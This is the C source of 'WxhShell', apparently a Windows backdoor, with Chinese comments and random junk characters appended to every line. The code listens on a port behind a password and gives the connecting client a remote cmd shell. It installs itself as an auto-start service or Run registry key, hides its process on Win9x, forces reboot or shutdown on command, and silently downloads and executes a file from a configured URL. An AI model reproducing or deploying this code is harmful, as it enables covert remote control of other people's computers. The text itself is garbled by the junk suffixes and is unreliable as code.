    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yf&7P;A  
    if(Boot(SHUTDOWN)) <&)v~-&O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WxF:~{  
    else { ayAo^q  
    closesocket(wsh); >}(CEzc8  
    ExitThread(0); J,b&XD@m  
    } CKA;.sh  
    break; Rp$}YN  
    } EI\9_}@,  
  // 获取shell mFHH515  
  case 's': { `5H$IP1XhA  
    CmdShell(wsh); `"%T=w  
    closesocket(wsh); *OQG 4aWy  
    ExitThread(0); 4lZ$;:Jg  
    break; q%ow/!\;  
  } $0arz{Oh  
  // 退出 +f[ED4E>'(  
  case 'x': { I$8" N]/C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 37;$-cFE  
    CloseIt(wsh); jM\*A#Jo5  
    break; vVL@K,q  
    } a ^%"7Ri  
  // 离开 @)K%2Y`  
  case 'q': { u[{tb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LdB($4,  
    closesocket(wsh); %Q!`NCe+[  
    WSACleanup(); x\QY@9  
    exit(1); wY"Q o7  
    break; |{,KRO0P  
        } ^FnfJ:  
  } '?({;/L  
  } %$TGzK1  
p019)X|vx  
  // 提示信息 1Z,[|wJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Idle*+  
} C)cwAU|h#  
  } , lJ  v  
JsotOic%  
  return; /EG~sRvl}  
} 3QpYmX<E  
HI@syFaJM  
// shell模块句柄 DLCkM*'  
int CmdShell(SOCKET sock) b"TjGE  
{ {aM<{_v  
STARTUPINFO si; Uo-`>7  
ZeroMemory(&si,sizeof(si)); pC_O:f>vJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nVJPR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pzb|t+"$  
PROCESS_INFORMATION ProcessInfo; J+f!Ar  
char cmdline[]="cmd"; WKSPBT;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "]\+?  
  return 0; mA{~Pp Sb  
} h`3eu;5)  
a<fUI%_  
// 自身启动模式 8| $3OVS  
int StartFromService(void) Ka,^OW}<%q  
{ B4]`-mahO  
typedef struct w;l<[q?_  
{ }mZwd_cK  
  DWORD ExitStatus; <r3J0)r}  
  DWORD PebBaseAddress; JCW\ *R  
  DWORD AffinityMask; kHqztg  
  DWORD BasePriority; %e@#ux m  
  ULONG UniqueProcessId; pT$f8xJ  
  ULONG InheritedFromUniqueProcessId; !\ g+8>  
}   PROCESS_BASIC_INFORMATION; Zc?ppO  
:f$xQr4Qz  
PROCNTQSIP NtQueryInformationProcess; 3 zn W=  
E#F/88(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *@TZ+{t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N;+[`l  
[{X^c.8G)  
  HANDLE             hProcess; K).n.:vYZ  
  PROCESS_BASIC_INFORMATION pbi; )IJQeC  
]f1{n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YX*Qd$chZ  
  if(NULL == hInst ) return 0; OaL\w D^  
R-P-i0 ~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6[]]Y,Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~0b O}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zo{$  
$t/x;< .H  
  if (!NtQueryInformationProcess) return 0; #h@J=Ki  
V"!G2&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y{*u&^0{  
  if(!hProcess) return 0; r `eU~7  
c_" ~n|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kD}Y|*]5-5  
#A8@CA^d  
  CloseHandle(hProcess); P/`I.p;  
4GB7A]^E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7L^%x3-|&  
if(hProcess==NULL) return 0; Xo*DvD  
TYA~#3G)  
HMODULE hMod; 03j]d&P%d  
char procName[255]; ~l2aNVv;  
unsigned long cbNeeded; LF0sH)e]  
WlYs~(= 9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CwJDmz\tk  
Ks\ NE=;5  
  CloseHandle(hProcess); R-:fd!3oQ  
lb:/EUd5  
if(strstr(procName,"services")) return 1; // 以服务启动 RNQK  
hTbI -u7BF  
  return 0; // 注册表启动 !'Q -yoHKD  
} |A8/FU2{  
.Udj@{  
// 主模块 sm$ (Y.N  
int StartWxhshell(LPSTR lpCmdLine) $fgf Y8  
{ #);[mW{F  
  SOCKET wsl; &[hLzlrg  
BOOL val=TRUE; d`1I".y  
  int port=0; =LTmr1?  
  struct sockaddr_in door; *kIc9}  
=f(cH152T  
  if(wscfg.ws_autoins) Install(); $TI5vhQ  
U8(Nk\"X\  
port=atoi(lpCmdLine); jg&E94}+  
;us%/kOR  
if(port<=0) port=wscfg.ws_port; ",)Qc!^P$  
aTzjm`F0  
  WSADATA data; hkO sm6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jP~Z`y f  
rS1fK1dy s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Y@nVi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RyRpl*^  
  door.sin_family = AF_INET; b$eXFi/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t^ZV|s 1  
  door.sin_port = htons(port); }y%oT P&  
[le)P$#z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ai*f F  
closesocket(wsl); i>[_r,-\[  
return 1; u=YX9Mo!  
} vF?5].T  
[ 4;Ii  
  if(listen(wsl,2) == INVALID_SOCKET) { qp}Ma8+  
closesocket(wsl); dik9 >*"|o  
return 1; ` \A(9u*  
} a {ab*tM  
  Wxhshell(wsl); }^(}HBT  
  WSACleanup(); .IJ_jt-^d  
<x\7L2#p  
return 0; ^'jEnN(  
eh[_~>w  
} S\CRG>  
a" H WGY  
// 以NT服务方式启动 Skz|*n|eY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 76vy5R(.  
{ jLJ1u/l>;  
DWORD   status = 0; Jxqh )l  
  DWORD   specificError = 0xfffffff; F]m gmYD%  
$x6$*K(F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %AN/>\#p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r &Ca" dI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]qB:PtX  
  serviceStatus.dwWin32ExitCode     = 0; *G UAO){'  
  serviceStatus.dwServiceSpecificExitCode = 0; Yhp]x   
  serviceStatus.dwCheckPoint       = 0; _sy'.Fo  
  serviceStatus.dwWaitHint       = 0; H_?o-L?+  
CU7F5@+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^2wLxXO6  
  if (hServiceStatusHandle==0) return; %Qmk2  
YJ:3!B>Zo  
status = GetLastError(); +ki{H}G21  
  if (status!=NO_ERROR) ,&4qgp{)  
{ <58l;<0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~r{5`;c  
    serviceStatus.dwCheckPoint       = 0; N0>0z]4;q  
    serviceStatus.dwWaitHint       = 0; Bb{!Yh].:A  
    serviceStatus.dwWin32ExitCode     = status; GTv#nnC  
    serviceStatus.dwServiceSpecificExitCode = specificError; bJ_cId8+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V]S1X^  
    return; OMk5{-8B  
  } 0[<~?`:)  
5b/ojr7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8_K6 0eXz  
  serviceStatus.dwCheckPoint       = 0; +wW@'X  
  serviceStatus.dwWaitHint       = 0; U}$DhA"r"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4'p=p#o  
} >]=j'+]  
*;|`E(   
// 处理NT服务事件,比如:启动、停止 0hZ1rqq8C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ouHu8)q'r  
{ _73h<|0  
switch(fdwControl) `c+/q2M  
{ Y qcD-K  
case SERVICE_CONTROL_STOP: eh R{X7J  
  serviceStatus.dwWin32ExitCode = 0; gN {'UDg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7DlOW1|  
  serviceStatus.dwCheckPoint   = 0; dO7;}>F$n  
  serviceStatus.dwWaitHint     = 0; ?r_l8  
  { bw&myzs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =e?$M  
  } =:+0)t=ao  
  return; 9%sM*[A  
case SERVICE_CONTROL_PAUSE: DF{OnF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !AJ]j|@VBd  
  break; Npn=cLC&  
case SERVICE_CONTROL_CONTINUE: H.G!A6bd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (5^ZlOk3  
  break; wY"o`o Z  
case SERVICE_CONTROL_INTERROGATE: @ d"wAZzD?  
  break; AOrHU M[I  
}; h.K(P+h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YRlDX:oX~  
} I?Q+9Rmm`J  
fa.0I~  
// 标准应用程序主函数 F>gmj'-^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (cv!Y=]  
{ !G_jGc=v  
[0[M'![8M  
// 获取操作系统版本  BGzI  
OsIsNt=GetOsVer(); @ \2#Dpr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); amQz^^  
sCl$f7"  
  // 从命令行安装 =l<iI*J. M  
  if(strpbrk(lpCmdLine,"iI")) Install();  uIMe  
9N[EZhW  
  // 下载执行文件 buk=p-oi  
if(wscfg.ws_downexe) { l2hG$idC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +rWZ|&r%  
  WinExec(wscfg.ws_filenam,SW_HIDE); G%# 05jH  
} ~YCuO0t  
>6Lm9&}  
if(!OsIsNt) { Fl>]&x*~  
// 如果时win9x,隐藏进程并且设置为注册表启动 6aOp[-Le  
HideProc(); z1,tJH0  
StartWxhshell(lpCmdLine); (bn Zy0  
} nws"RcP+Z  
else bXM/2Z?6  
  if(StartFromService()) }jF+`!*!  
  // 以服务方式启动 j;K#]  
  StartServiceCtrlDispatcher(DispatchTable); -Cid3~mX3  
else +Zk,2ri  
  // 普通方式启动 ep(g`e  
  StartWxhshell(lpCmdLine); 0"[`>K~7a8  
/vE]2Io  
return 0; !.fw,!}hOD  
} pJ, @Y>  
ED} 31L  
K X]oE+:  
> 8]j  
=========================================== rn.\tDeA  
cy~oPj]j  
=FW5Tkw0  
AW5iV3  
y,+[$u7h  
DlE_W+F  
" e<gx~N9l'  
U=Bn>F}y\  
#include <stdio.h> >qT'z$  
#include <string.h> IPA*-I57  
#include <windows.h> k5+]SG`]]  
#include <winsock2.h> ;BH>3VK  
#include <winsvc.h> J7-^F)lu-  
#include <urlmon.h> o4=Yu7L  
Gk~l,wV>  
#pragma comment (lib, "Ws2_32.lib") G@d`F  
#pragma comment (lib, "urlmon.lib") e&X>F"z2  
u}H$-$jE  
#define MAX_USER   100 // 最大客户端连接数 2pyt&'NJua  
#define BUF_SOCK   200 // sock buffer \+qOO65/+  
#define KEY_BUFF   255 // 输入 buffer gp|1?L 54  
i+M*J#'  
#define REBOOT     0   // 重启 -.vDF?@G  
#define SHUTDOWN   1   // 关机 4f1D*id*`#  
qJ[@:&:  
#define DEF_PORT   5000 // 监听端口 >R,?hWT  
jOtX 60;  
#define REG_LEN     16   // 注册表键长度 DpL8'Dib  
#define SVC_LEN     80   // NT服务名长度 _py2kjA6  
0kCQ0xB[a5  
// 从dll定义API J+<p+(^*v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T%CxvZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [5pCL0<c@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W7G9Kx1Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E*v]:kok  
,J9}.}Hd  
// wxhshell配置信息 'UDBV  
struct WSCFG { r25Z`X Z  
  int ws_port;         // 监听端口 m=&j@  
  char ws_passstr[REG_LEN]; // 口令 =v"xmx&4  
  int ws_autoins;       // 安装标记, 1=yes 0=no `"y{;PCt_  
  char ws_regname[REG_LEN]; // 注册表键名 >BqCkyM9Kf  
  char ws_svcname[REG_LEN]; // 服务名 ~-Oa8ww  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fCEz-TMW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CD?&<NV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (M% ;~y\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RLKj u;u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~oi_r8 K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C*wdtEGq  
kN'Thq/ZE  
}; v}il(w;O  
a[O6YgO  
// default Wxhshell configuration cNP/<8dq  
struct WSCFG wscfg={DEF_PORT, 0P 5BArJ?  
    "xuhuanlingzhe", kP,7Li\  
    1, :Z2tig nL  
    "Wxhshell", l`rC0kJ]  
    "Wxhshell", dm^H5D/A  
            "WxhShell Service", U'3Fou}  
    "Wrsky Windows CmdShell Service", +0#JnqH"  
    "Please Input Your Password: ", Hql5oA  
  1, $N.`)S<  
  "http://www.wrsky.com/wxhshell.exe", tjb/[RQ  
  "Wxhshell.exe" aV|k}H{wt  
    }; Ku%6$C!,  
|>s v8/!  
// 消息定义模块 ?6:cNdN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fd !iQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >rRf9wO1l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H%.zXQ4}n  
char *msg_ws_ext="\n\rExit."; |[w^eg  
char *msg_ws_end="\n\rQuit."; ul}'{|4  
char *msg_ws_boot="\n\rReboot..."; q,,j',8kq/  
char *msg_ws_poff="\n\rShutdown..."; (UW6F4:$  
char *msg_ws_down="\n\rSave to "; ( Yi=v'd  
<3#<I)#  
char *msg_ws_err="\n\rErr!"; ;nf&c;D  
char *msg_ws_ok="\n\rOK!"; Iu6W=A  
mmN|F$;r  
char ExeFile[MAX_PATH]; 91;HiILgT  
int nUser = 0; ?Leyz  
HANDLE handles[MAX_USER]; ?Y!U*& 7  
int OsIsNt; 2}`R"MeS  
}1rvM4{/+f  
SERVICE_STATUS       serviceStatus; i/: 5jI|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +v1-.z  
Dm4B  
// 函数声明 F^sw0 .b  
int Install(void); 97x%2.\:  
int Uninstall(void); ;tN4HiN  
int DownloadFile(char *sURL, SOCKET wsh);  [`bZ5*&  
int Boot(int flag); *SGlqR['\e  
void HideProc(void); D{svR-~T  
int GetOsVer(void); eYDgEM  
int Wxhshell(SOCKET wsl); 00,9azs  
void TalkWithClient(void *cs); 5&|5 a} 8  
int CmdShell(SOCKET sock);  tJ1-DoU  
int StartFromService(void); 4.k`[q8  
int StartWxhshell(LPSTR lpCmdLine); y$h"ty{g  
A5+5J_)*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DrFur(=T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); # `58F.  
8}K"IW  
// 数据结构和表定义 qp1\I$Y  
SERVICE_TABLE_ENTRY DispatchTable[] = 4f jC  
{ :tlE`BIp  
{wscfg.ws_svcname, NTServiceMain}, @{bb'q['@  
{NULL, NULL} )BlJ|M  
}; *zSxG[s  
. z].:$J&  
// 自我安装 ^cb)f_90  
int Install(void) W2n*bNI  
{ ioWJj.%  
  char svExeFile[MAX_PATH]; r+TK5|ke  
  HKEY key; aL 8Gnqf2  
  strcpy(svExeFile,ExeFile); ;&7,7 3!  
.S6ji~;r  
// 如果是win9x系统,修改注册表设为自启动 CjmV+%b4  
if(!OsIsNt) { 8qmknJC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (7 ijt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mLULd}g/o  
  RegCloseKey(key); <4sj@C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \AHY[WKx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yI:r7=KO  
  RegCloseKey(key); vh{9'vd3el  
  return 0; %2zas(b9j  
    } (qj,GmcS  
  } 9[,s4sxH  
} l-MxLcz  
else { bu&;-Ynb  
km}MqBQl  
// 如果是NT以上系统,安装为系统服务 fK);!Hh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w=5   
if (schSCManager!=0) 4y1>  
{ e|~C?Ow'J  
  SC_HANDLE schService = CreateService QK'`=MU  
  ( "]w!`^'_  
  schSCManager, ?Oqzd$-  
  wscfg.ws_svcname, |""=)-5N  
  wscfg.ws_svcdisp, ?'Oj=k"c7  
  SERVICE_ALL_ACCESS, U~CdU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ki`8(u6l  
  SERVICE_AUTO_START, H)`@2~Y  
  SERVICE_ERROR_NORMAL, 6#O#T;f)  
  svExeFile, J2'W =r_#  
  NULL, ,y{0bq9*2  
  NULL, _2#zeT5  
  NULL, {&0mK"z_  
  NULL, 6SV7\,2M  
  NULL ~JAjr(G#o  
  ); /=q.tDH=I  
  if (schService!=0) F G3Sk!O6  
  { P6:;Y5e0  
  CloseServiceHandle(schService); :b <KX%g  
  CloseServiceHandle(schSCManager); % mJ~F*Dy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -E}>h[;qZ  
  strcat(svExeFile,wscfg.ws_svcname); q[Vi[b^F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }2h't.Z<u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IO*l vy  
  RegCloseKey(key); 487YaioB$  
  return 0; g;l'VA3v  
    } "bPCOJ[v9  
  } XzW7eO ,A  
  CloseServiceHandle(schSCManager); .#sz|0  
} &;E d*OJ  
} J"5jy$30'$  
=w?M_[&K)  
return 1; |>Z&S=\I)  
} xv^Sh}\}  
W"dU1]  
// 自我卸载 FOc|*>aKP  
int Uninstall(void) G *ds4R?!  
{ TN J<!6  
  HKEY key; :fRmUAK%  
Z^{+,$H@  
if(!OsIsNt) { ix^gAot  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E2kW=6VO>|  
  RegDeleteValue(key,wscfg.ws_regname); QH4k!^  
  RegCloseKey(key); TeKC} NW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H_Iim[v#  
  RegDeleteValue(key,wscfg.ws_regname); Jc`Rs"2  
  RegCloseKey(key); 8^8>qSD1  
  return 0; A%h~Z a  
  } ]7v81G5E  
} Wgav>7!9  
} _2]O^$L  
else { ;CA ?eI  
*wV iH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jYrym-  
if (schSCManager!=0) <nj IXa{  
{ {d^Q7A:`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d[) _sa  
  if (schService!=0) qC\]"Z`m  
  { Y 5Qb4Sa  
  if(DeleteService(schService)!=0) {  dhZ Zb  
  CloseServiceHandle(schService); }iD$4\ L  
  CloseServiceHandle(schSCManager); ^eT@!N  
  return 0; JOJh,8C) 6  
  } XpR.rq$]  
  CloseServiceHandle(schService); "EN98^ Sl  
  } ('T4Db  
  CloseServiceHandle(schSCManager); EbG_43SV  
} m{vT_ei  
} &}>|5>cJu  
ri"?, }(  
return 1; -T2~W!  
} ]vRVo6@ k  
+d@v AxP  
// 从指定url下载文件 giaD9$C  
int DownloadFile(char *sURL, SOCKET wsh) m~##q}LZ  
{ v>rqOI  
  HRESULT hr; *4-r`k|@>/  
char seps[]= "/"; sP9^ IP  
char *token; 7X(rLd 6#  
char *file; MhHr*!N"}  
char myURL[MAX_PATH]; P\,F1N_?r  
char myFILE[MAX_PATH]; CFD*g\g<*  
L& I` #  
strcpy(myURL,sURL); b;Hm\aK  
  token=strtok(myURL,seps); :/>7$)+  
  while(token!=NULL) >BJ2v=R A  
  { |)28=Z|Z  
    file=token; }Vs~RJM)}  
  token=strtok(NULL,seps); \k|_&hG  
  }  yQ<6p3  
_2]e1_=  
GetCurrentDirectory(MAX_PATH,myFILE); F<h&3  
strcat(myFILE, "\\"); $eK8GMxZ#  
strcat(myFILE, file); 6].yRNy"  
  send(wsh,myFILE,strlen(myFILE),0); <+<)xwOQ ]  
send(wsh,"...",3,0); lO551Y^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T {hyt  
  if(hr==S_OK) ,@}W@GGP)  
return 0; & 6`  
else PXOrOK  
return 1; T^KCB\\<  
+F1]M2p]  
} CbnR<W-j  
5JQd)[Im  
// 系统电源模块 `K$:r4/[  
int Boot(int flag) )3k)2XF  
{ /Lq;w'|I  
  HANDLE hToken; x%b]e a  
  TOKEN_PRIVILEGES tkp; b%=1"&JI:  
4aj[5fhb-  
  if(OsIsNt) { t9-_a5>E\}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w~bG<kxP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &z./4X  
    tkp.PrivilegeCount = 1; z2rQ$O -#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; " 7l jc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F?}m8ZRv  
if(flag==REBOOT) { j09mI$2y67  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Z^$`$/.v#  
  return 0; 6&g!ZE'G  
} mJwv&E  
else { #B}BI8o (  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e 7Yb=/F  
  return 0; vN{vJlpY  
} ] +}:VaeA  
  } VFe-#"0ZO  
  else { d[~au=b  
if(flag==REBOOT) { #]?,gwvTf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o%kSR ]V|  
  return 0; gg lNpzj  
} &>d:ewM\  
else { $=\oJ-(!@S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @qg0u#k5  
  return 0; ~0VwF  
} ,\|n=T,  
} ]3gYuz|  
NTv#{7q  
return 1; wo,""=l  
} MuCQxzvkhf  
e1f^:C  
// win9x进程隐藏模块 uKLOh<oio  
void HideProc(void) V/QTYy1  
{ p[ks} mca@  
tEi@p;Z>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +~R.7NE%  
  if ( hKernel != NULL ) 9Q SUCN_  
  { S+` !%hJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K9x*Sep  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w\0Oz?N  
    FreeLibrary(hKernel); *>}McvtTw  
  } asm[-IB2u  
\GjXsR*b5  
return; PO=ZxG   
} Q1N,^71  
{GGO')p  
// 获取操作系统版本 Y\Fuj)  
int GetOsVer(void) !Szgph"ul  
{ /ieu)m:2  
  OSVERSIONINFO winfo; ^L*VW gi9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  3L 1lq .  
  GetVersionEx(&winfo); @B>%B EC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e3HF"v]2!  
  return 1; pAPQi|CN  
  else ZI#SYEF6  
  return 0; 4fU5RB7%  
} sT;=7 L<TA  
D{&+7C:8.  
// 客户端句柄模块 L!G9O]WB  
int Wxhshell(SOCKET wsl) ^>P@5gcoE(  
{ -r6(=A  
  SOCKET wsh; Ep v3/ `I  
  struct sockaddr_in client; <.y^  
  DWORD myID; O"2wV +9  
.R<s<]  
  while(nUser<MAX_USER) b&|YQW} ~  
{ hc@;}a\Y  
  int nSize=sizeof(client); >$k 4@eg!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6`$,-(J=  
  if(wsh==INVALID_SOCKET) return 1; he#Tr'j  
OTy 4"%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); { V =:O  
if(handles[nUser]==0) *;\ K5  
  closesocket(wsh); 0X S' v,|  
else z9uEOX&2\  
  nUser++; Eo25ir%  
  } eAenkUBz6,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e\|E; l  
45!`g+)  
  return 0; S+e-b'++?  
} 0SGczgg  
w oY)G7%  
// 关闭 socket ZT3jxwe  
void CloseIt(SOCKET wsh) U_zpLpm^  
{ x""Mxn]gD  
closesocket(wsh); ZQ-z2s9U  
nUser--; HzO0K=Z=R0  
ExitThread(0); q4IjCu+  
} )}zA,FOA*  
Qbe{/  
// 客户端请求句柄 j:vD9sdQ  
void TalkWithClient(void *cs) o^.s!C%j  
{ ,XF6Xsg2  
+wf& L  
  SOCKET wsh=(SOCKET)cs; >P]I&S-.  
  char pwd[SVC_LEN]; wtgO;w  
  char cmd[KEY_BUFF]; n(F<  
char chr[1]; !&`7  
int i,j; "78cl*sD  
0,i+  
  while (nUser < MAX_USER) { 7UEy L }N  
(WU~e!}  
if(wscfg.ws_passstr) { (*^E7 [w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 94>7-d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ph$&f0A6Xc  
  //ZeroMemory(pwd,KEY_BUFF); ^ _#gIT\  
      i=0; \FaB!7*~  
  while(i<SVC_LEN) { n6-!@RYr  
y^Xxa'y  
  // 设置超时 f"}14V  
  fd_set FdRead; W3{5Do.h  
  struct timeval TimeOut; 8aM% 9OU  
  FD_ZERO(&FdRead); \2VZkVO9  
  FD_SET(wsh,&FdRead); t)kr/Z*p\  
  TimeOut.tv_sec=8; 6`PGV+3j  
  TimeOut.tv_usec=0;  3kzGL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @0x.n\M_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tGy%n[ \  
cqU/Y_%l'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \=: g$_l  
  pwd=chr[0]; ;U:o'9^9T  
  if(chr[0]==0xd || chr[0]==0xa) { zYl+BM-j,6  
  pwd=0; ]8j5Ou6#y  
  break; 1oVDOo  
  } uC$4TnoQx.  
  i++; {&AT}7  
    } XS~w_J#q  
9$w)_RX9W  
  // 如果是非法用户,关闭 socket '1T v1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |Z)/  
} :$@zX]?M  
Y~\xWYR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  kc/H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KgkB)1s@n  
LSOwa  
while(1) { 3 mMdq*X5  
a*ixs'MJ  
  ZeroMemory(cmd,KEY_BUFF); T?$?5  
U";Rp&\3;  
      // 自动支持客户端 telnet标准   }lbx  
  j=0; &[\arwe)  
  while(j<KEY_BUFF) { N pIlQaMo4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F u=VY{U4  
  cmd[j]=chr[0]; i3\oy`GJ  
  if(chr[0]==0xa || chr[0]==0xd) { G}OrpPP  
  cmd[j]=0; ZCq\Zk1O&  
  break; mgl' d  
  } 'k) P(H  
  j++; 'aSORVq^e[  
    } oFA$X Y  
rEyMSLN  
  // 下载文件 H H7 gT  
  if(strstr(cmd,"http://")) { Z|7I }i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Y?yGq/  
  if(DownloadFile(cmd,wsh)) 6I'V XdeN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R~ u7;Wv  
  else iDe0 5f1R  
